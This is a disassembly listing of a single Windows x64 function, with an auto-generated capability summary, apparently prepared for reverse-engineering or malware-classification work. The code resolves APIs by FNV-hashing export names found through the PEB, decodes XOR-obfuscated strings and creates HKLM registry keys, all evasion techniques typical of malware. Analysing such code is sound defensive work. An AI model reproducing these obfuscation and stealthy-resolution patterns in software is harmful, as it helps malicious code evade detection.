Function at 0x14003a2c0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x300
xor r15d, r15d
mov dword [rsp + 0x50], r15d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1d0], xmm0
mov qword [rsp + 0x1e0], r15
mov qword [rcx], r15
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov dword [rsp + 0x50], 1
mov edi, r15d
mov r12d, 0xeb748313
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14003a383
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x14003a37a
nop
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14003a350
cmp r10d, edi
jne 0x14003a510
mov rbx, qword [rax + 0x30]
test rbx, rbx
je 0x14003a518
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x350], rcx
mov r14d, edx
add r14, rbx
cmp r14, rbx
je 0x14003a510
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14003a510
mov r13d, dword [r14 + 0x20]
nop dword [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + r13]
add r9, rbx
mov r10d, 0x811c9dc5
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x14003a41a
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x14003a3f0
cmp r10d, r12d
je 0x14003a42c
test r11d, r11d
jne 0x14003a3d0
mov rax, qword [rax]
jmp 0x14003a320
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
cmp rdx, r14
jbe 0x14003a51b
mov rax, qword [rsp + 0x350]
add rax, r14
cmp rdx, rax
jae 0x14003a51b
mov edi, 0x811c9dc5
mov dword [rsp + 0x348], edi
mov r9d, edi
mov dword [rsp + 0x34c], edi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x14003a4b2
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x14003a482
mov dword [rsp + 0x348], edi
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x14003a4f3
nop
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x14003a4c0
mov dword [rsp + 0x34c], r9d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r12, qword [rsp + 0x348]
shr r12, 0x20
mov rax, qword [rax]
jmp 0x14003a320
mov rdx, r15
call rdx
mov qword [rsp + 0x240], rax
test rax, rax
je 0x14003a7d7
mov dword [rsp + 0x348], r15d
mov edi, r15d
mov r12d, 0x41343800
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14003a5b1
psrldq xmm0, 8
movq r9, xmm0
movzx eax, ax
shr rax, 1
lea r11, [r9 + rax*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x14003a5a8
nop
movsx eax, byte [r9]
mov edx, eax
sub al, 0x41
mov r8d, edx
or r8d, 0x20
cmp al, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14003a580
cmp r10d, edi
jne 0x14003a74c
mov rbx, qword [rcx + 0x30]
test rbx, rbx
je 0x14003a754
movsxd rax, dword [rbx + 0x3c]
mov rdx, qword [rax + rbx + 0x88]
mov rax, rdx
shr rax, 0x20
mov qword [rsp + 0x358], rax
mov r14d, edx
add r14, rbx
cmp r14, rbx
je 0x14003a74c
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14003a74c
mov r13d, dword [r14 + 0x20]
nop dword [rax]
dec r11d
lea rax, [rbx + r11*4]
mov r9d, dword [rax + r13]
add r9, rbx
mov r10d, 0x811c9dc5
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14003a64b
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14003a620
cmp r10d, r12d
je 0x14003a65d
test r11d, r11d
jne 0x14003a600
mov rcx, qword [rcx]
jmp 0x14003a550
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
cmp r8, r14
jbe 0x14003a757
mov rax, qword [rsp + 0x358]
add rax, r14
cmp r8, rax
jae 0x14003a757
mov edi, 0x811c9dc5
mov dword [rsp + 0x350], edi
mov r9d, edi
mov dword [rsp + 0x354], edi
movzx edx, byte [r8]
cmp dl, 0x2e
je 0x14003a6ec
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
inc r8
movzx edx, byte [r8]
cmp dl, 0x2e
jne 0x14003a6c0
mov dword [rsp + 0x350], edi
inc r8
movzx edx, byte [r8]
test dl, dl
je 0x14003a72f
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
lea r8, [r8 + 1]
movzx edx, byte [r8]
test dl, dl
jne 0x14003a700
mov dword [rsp + 0x354], r9d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov r12, qword [rsp + 0x350]
shr r12, 0x20
mov rcx, qword [rcx]
jmp 0x14003a550
mov r8, r15
lea rdx, [rsp + 0x348]
mov rcx, qword [rsp + 0x240]
call r8
test rax, rax
je 0x14003a7d7
cmp dword [rsp + 0x348], 2
jne 0x14003a7d7
lea r8, [rax + 8]
mov r13, qword [rsp + 0x340]
mov rax, qword [r13 + 8]
cmp rax, qword [r13 + 0x10]
je 0x14003a7ca
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14003a7b0
mov rcx, rax
call fcn.140030bc0
add qword [r13 + 8], 0x20
jmp 0x14003a7df
mov rdx, rax
mov rcx, r13
call fcn.14005d160
jmp 0x14003a7df
mov r13, qword [rsp + 0x340]
mov rax, qword [r13 + 8]
cmp qword [r13], rax
jne 0x14003bf73
movabs rsi, 0x7b08077dbdf1bdd
mov qword [rsp + 0x250], rsi
movabs r12, 0xedb2645e90d82e86
mov qword [rsp + 0x258], r12
movabs rdi, 0x3365a4cd6cb2782f
mov qword [rsp + 0x260], rdi
movabs rbx, 0x58876b8caaa81288
mov qword [rsp + 0x268], rbx
movabs rax, 0x6a5f3d43752d5901
mov qword [rsp + 0x270], rax
movabs r14, 0x3b8a6f2a0000944a
mov qword [rsp + 0x278], r14
movabs rax, 0x53787dd93c921cf3
mov qword [rsp + 0x280], rax
movabs rax, 0x77f6c548e33aea0c
mov qword [rsp + 0x288], rax
movabs rcx, 0x7e0802bdbe51b9e
mov qword [rsp + 0x60], rcx
movabs rcx, 0xedc0643990b72ef4
mov qword [rsp + 0x68], rcx
movabs rcx, 0x3323a4ed6cdf784e
mov qword [rsp + 0x70], rcx
movabs rcx, 0x58f46be9aac412e1
mov qword [rsp + 0x78], rcx
movabs rcx, 0x6a673d3b75055921
mov qword [rsp + 0x80], rcx
movabs rcx, 0x3bd96f760029947c
mov qword [rsp + 0x88], rcx
movabs rcx, 0x53157db83cf71c87
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movups xmm2, xmmword [rsp + 0x80]
movups xmm3, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rsp + 0x250]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x70], xmm1
xorps xmm2, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x80], xmm2
xorps xmm3, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x90], xmm3
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], r15
mov qword [rsp + 0x1c8], r15
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003a980
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1b0]
call fcn.140030bc0
nop
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], r12
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rbx
movabs rax, 0x6a5f3d43752d5901
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], r14
movabs rax, 0x53787dd93c921cf3
mov qword [rsp + 0x190], rax
movabs rax, 0x77f6c548e33aea0c
mov qword [rsp + 0x198], rax
movabs rcx, 0x7420d32fadbc6285
mov qword [rsp + 0x1a0], rcx
movabs rax, 0x853043d669bfb18e
mov qword [rsp + 0x1a8], rax
movabs rdx, 0x7e48031db901b8e
mov qword [rsp + 0x60], rdx
movabs rdx, 0xedf7640c90992ed1
mov qword [rsp + 0x68], rdx
movabs rdx, 0x3332a4826ce57873
mov qword [rsp + 0x70], rdx
movabs rdx, 0x58b56bbfaa9c12be
mov qword [rsp + 0x78], rdx
movabs rdx, 0x6a3a3d277542594f
mov qword [rsp + 0x80], rdx
movabs rdx, 0x3be66f4b00569416
mov qword [rsp + 0x88], rdx
movabs rdx, 0x532b7d853cf71c85
mov qword [rsp + 0x90], rdx
movabs rdx, 0x779bc529e35fea78
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm1, xmmword [rsp + 0x90]
xorps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003ab50
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xb0]
call fcn.140030bc0
nop
mov qword [rsp + 0x348], r15
mov qword [rsp + 0x350], r15
lea rdx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 7
cmova rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x350]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003bff3
mov rcx, qword [rsp + 0x348]
mov r14d, 0x80000000
test rcx, rcx
je 0x14003ac15
lea rax, [rcx + r14]
cmp rax, 5
jbe 0x14003ac15
cmp rcx, 0xffffffff80000007
je 0x14003ac15
cmp rcx, 0xffffffff80000060
je 0x14003ac15
cmp rcx, 0xffffffff80000050
je 0x14003ac15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0xc8]
cmp rax, 7
jbe 0x14003ac69
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003ac63
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c0af
call fcn.14000da60
nop
movdqa xmm0, xmmword [0x1400c8870]
movdqu xmmword [rsp + 0xc0], xmm0
mov word [rsp + 0xb0], r15w
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], r12
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], rbx
movabs rax, 0x7c48004dbb11b94
mov qword [rsp + 0xf0], rax
movabs rax, 0xede2643290b42ee7
mov qword [rsp + 0xf8], rax
movabs rax, 0x3365a4a56cc6784e
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rbx
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
xorps xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x210], xmm0
xorps xmm1, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0x220], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x100], xmm1
lea rax, [rsp + 0x210]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003ad40
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xf0]
call fcn.140030bc0
nop
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x348]
call fcn.140038bd0
nop
mov rax, qword [rsp + 0x108]
cmp rax, 7
jbe 0x14003adc3
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003adbd
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c0b5
call fcn.14000da60
nop
movdqa xmm0, xmmword [0x1400c8870]
movdqu xmmword [rsp + 0x100], xmm0
mov word [rsp + 0xf0], r15w
mov rdi, qword [rsp + 0x150]
test rdi, rdi
je 0x14003ae5f
lea r9, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova r9, qword [rsp + 0x140]
mov rax, qword [rsp + 0x1c8]
cmp rdi, rax
ja 0x14003ae4e
lea rbx, [rsp + 0x1b0]
cmp rax, 7
cmova rbx, qword [rsp + 0x1b0]
mov qword [rsp + 0x1c0], rdi
lea r8, [rdi + rdi]
mov rdx, r9
mov rcx, rbx
call fcn.1400a62b0
mov word [rbx + rdi*2], r15w
movabs rbx, 0x58876b8caaa81288
jmp 0x14003ae5f
mov rdx, rdi
lea rcx, [rsp + 0x1b0]
call fcn.14002c5a0
nop
mov rax, qword [rsp + 0x158]
cmp rax, 7
jbe 0x14003aea3
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003ae9d
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c0bb
call fcn.14000da60
nop
mov qword [rsp + 0x150], r15
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], r15w
mov rcx, qword [rsp + 0x348]
test rcx, rcx
je 0x14003aef8
lea rax, [rcx + r14]
cmp rax, 5
jbe 0x14003aef8
cmp rcx, 0xffffffff80000007
je 0x14003aef8
cmp rcx, 0xffffffff80000060
je 0x14003aef8
cmp rcx, 0xffffffff80000050
je 0x14003aef8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], r12
movabs rdi, 0x3365a4cd6cb2782f
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rbx
movabs rax, 0x6a5f3d43752d5901
mov qword [rsp + 0x180], rax
movabs rax, 0x3b8a6f2a0000944a
mov qword [rsp + 0x188], rax
movabs rax, 0x53787dd93c921cf3
mov qword [rsp + 0x190], rax
movabs rax, 0x77f6c548e33aea0c
mov qword [rsp + 0x198], rax
movabs rax, 0x7420d32fadbc6285
mov qword [rsp + 0x1a0], rax
movabs rax, 0x853043d669bfb18e
mov qword [rsp + 0x1a8], rax
movabs rax, 0x7de801edbbd1b81
mov qword [rsp + 0x60], rax
movabs rax, 0xedd4643b90bb2eda
mov qword [rsp + 0x68], rax
movabs rax, 0x3303a4a86cd17873
mov qword [rsp + 0x70], rax
movabs rax, 0x58e96be5aadf12a6
mov qword [rsp + 0x78], rax
movabs rax, 0x6a6b3d7575555936
mov qword [rsp + 0x80], rax
movabs rax, 0x3bef6f5e00739416
mov qword [rsp + 0x88], rax
movabs rax, 0x531d7dae3cff1c92
mov qword [rsp + 0x90], rax
movabs rax, 0x779ac52de352ea6e
mov qword [rsp + 0x98], rax
movabs rax, 0x740ed35dadd962f5
mov qword [rsp + 0xa0], rax
movabs rax, 0x853043b369c7b1eb
mov qword [rsp + 0xa8], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm1, xmmword [rsp + 0x90]
xorps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x14003b0c0
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [rsp + 0x1c0]
sub rax, rdx
cmp rax, rcx
jb 0x14003c0c1
lea r9, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova r9, qword [rsp + 0x1b0]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xf0]
call fcn.140058c50
mov r14d, 9
mov dword [rsp + 0x50], r14d
mov rdx, qword [r13 + 8]
cmp rdx, qword [r13 + 0x10]
je 0x14003b164
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [rdx + 0x10], xmm1
mov eax, 7
mov word [rsp + 0xf0], r15w
add qword [r13 + 8], 0x20
jmp 0x14003b17c
lea r8, [rsp + 0xf0]
mov rcx, r13
call fcn.140030da0
mov rax, qword [rsp + 0x108]
cmp rax, 7
jbe 0x14003b1b8
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003b1b2
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c0c6
call fcn.14000da60
nop
mov rax, qword [rsp + 0x1c8]
cmp rax, 7
jbe 0x14003b1fc
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003b1f6
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c0cc
call fcn.14000da60
nop
jmp 0x14003b22e
mov r13d, 0x80000000
movabs rdx, 0x853043d669bfb18e
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], r12
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rbx
movabs rax, 0x6a5f3d43752d5901
mov qword [rsp + 0x180], rax
movabs rax, 0x3b8a6f2a0000944a
mov qword [rsp + 0x188], rax
movabs rax, 0x53787dd93c921cf3
mov qword [rsp + 0x190], rax
movabs rax, 0x77f6c548e33aea0c
mov qword [rsp + 0x198], rax
movabs rax, 0x7420d32fadbc6285
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
movabs rax, 0x7e48031db901b8e
mov qword [rsp + 0x60], rax
movabs rax, 0xedf7640c90992ed1
mov qword [rsp + 0x68], rax
movabs rax, 0x330ca4a16cf17873
mov qword [rsp + 0x70], rax
movabs rax, 0x58f46bf8aac612ed
mov qword [rsp + 0x78], rax
movabs rax, 0x6a3e3d37757e595d
mov qword [rsp + 0x80], rax
movabs rax, 0x3bef6f6700749438
mov qword [rsp + 0x88], rax
movabs rax, 0x53167d903ce71c9d
mov qword [rsp + 0x90], rax
movabs rax, 0x7798c53ae35fea78
mov qword [rsp + 0x98], rax
movabs rax, 0x7420d32fadc862e0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm1, xmmword [rsp + 0x90]
xorps xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xa0], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003b400
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xb0]
call fcn.140030bc0
nop
mov qword [rsp + 0x348], r15
lea rdx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 7
cmova rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x348]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x2011f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14003c0d2
mov rbx, qword [rsp + 0x348]
mov qword [rsp + 0x348], rbx
mov rax, qword [rsp + 0xc8]
cmp rax, 7
jbe 0x14003b4d3
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003b4cd
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c18e
call fcn.14000da60
nop
movdqa xmm0, xmmword [0x1400c8870]
movdqu xmmword [rsp + 0xc0], xmm0
mov word [rsp + 0xb0], r15w
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x348]
call fcn.1400391a0
nop
cmp byte [rsp + 0x1c8], 1
jne 0x14003c194
mov rdi, qword [rsp + 0x1b0]
mov rsi, qword [rsp + 0x1b8]
mov r12, qword [rsp + 0x1d8]
nop dword [rax]
cmp rdi, rsi
je 0x14003b584
cmp qword [rdi + 0x10], 0
je 0x14003b57e
cmp r12, qword [rsp + 0x1e0]
je 0x14003b563
mov rdx, rdi
mov rcx, r12
call fcn.140051930
add r12, 0x20
mov qword [rsp + 0x1d8], r12
add rdi, 0x20
jmp 0x14003b530
mov r8, rdi
mov rdx, r12
lea rcx, [rsp + 0x1d0]
call fcn.14005d470
mov r12, qword [rsp + 0x1d8]
add rdi, 0x20
jmp 0x14003b530
lea rcx, [rsp + 0x1b0]
call fcn.1400507f0
nop
test rbx, rbx
je 0x14003b5c6
lea rax, [rbx + r13]
cmp rax, 5
jbe 0x14003b5c6
cmp rbx, 0xffffffff80000007
je 0x14003b5c6
cmp rbx, 0xffffffff80000060
je 0x14003b5c6
cmp rbx, 0xffffffff80000050
je 0x14003b5c6
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x14003b5d8
movabs r9, 0x7ffffffffffffffe
movabs r11, 0x853043d669bfb18e
movabs r10, 0x3b8a6f2a0000944a
movabs r8, 0x3365a4cd6cb2782f
movabs rax, 0x58876b8caaa81288
movabs rsi, 0xedb2645e90d82e86
movabs rdi, 0x7b08077dbdf1bdd
mov rbx, qword [rsp + 0x1d0]
mov qword [rsp + 0x358], rbx
mov r13, rbx
cmp rbx, r12
je 0x14003bf8d
nop word [rax + rax]
mov rdx, qword [r13 + 0x10]
test rdx, rdx
je 0x14003bf33
mov qword [rsp + 0x210], rdi
mov qword [rsp + 0x218], rsi
mov qword [rsp + 0x220], r8
mov qword [rsp + 0x228], rax
movabs rcx, 0x6a5f3d43752d5901
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x238], r10
movabs rbx, 0x7d5801fdbac1b81
mov qword [rsp + 0xf0], rbx
movabs rbx, 0xeddd640290b42eea
mov qword [rsp + 0xf8], rbx
movabs rbx, 0x3339a4a36cd7785f
mov qword [rsp + 0x100], rbx
movabs rbx, 0x58ea6be1aac712eb
mov qword [rsp + 0x108], rbx
movabs rbx, 0x6a5f3d2775435960
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], r10
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
xorps xmm0, xmmword [rsp + 0x210]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rsp + 0x220]
movdqa xmmword [rsp + 0x70], xmm1
xorps xmm2, xmmword [rsp + 0x230]
movdqa xmmword [rsp + 0x80], xmm2
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], r10
movabs rax, 0x53787dd93c921cf3
mov qword [rsp + 0x120], rax
movabs rax, 0x77f6c548e33aea0c
mov qword [rsp + 0x128], rax
movabs rax, 0x7420d32fadbc6285
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], r11
movabs rax, 0x7e48031db901b8e
mov qword [rsp + 0x160], rax
movabs rax, 0xedf7640c90992ed1
mov qword [rsp + 0x168], rax
movabs rax, 0x330ca4a16cf17873
mov qword [rsp + 0x170], rax
movabs rax, 0x58f46bf8aac612ed
mov qword [rsp + 0x178], rax
movabs rax, 0x6a3e3d37757e595d
mov qword [rsp + 0x180], rax
movabs rax, 0x3bef6f6700749438
mov qword [rsp + 0x188], rax
movabs rax, 0x53167d903ce71c9d
mov qword [rsp + 0x190], rax
movabs rax, 0x7798c53ae35fea78
mov qword [rsp + 0x198], rax
movabs rax, 0x7420d373adc862e0
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], r11
movdqa xmm0, xmmword [rsp + 0x160]
xorps xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x160], xmm0
movdqa xmm1, xmmword [rsp + 0x170]
xorps xmm1, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x170], xmm1
movdqa xmm0, xmmword [rsp + 0x180]
xorps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x180], xmm0
movdqa xmm1, xmmword [rsp + 0x190]
xorps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x190], xmm1
movdqa xmm0, xmmword [rsp + 0x1a0]
xorps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x1a0], xmm0
lea rax, [rsp + 0x160]
mov rcx, 0xffffffffffffffff
movzx ebx, byte [rsp + 0x340]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x14003b8e0
mov rax, r9
sub rax, rdx
cmp rax, rcx
jb 0x14003c1b2
mov rax, r13
cmp qword [r13 + 0x18], 7
jbe 0x14003b907
mov rax, qword [r13]
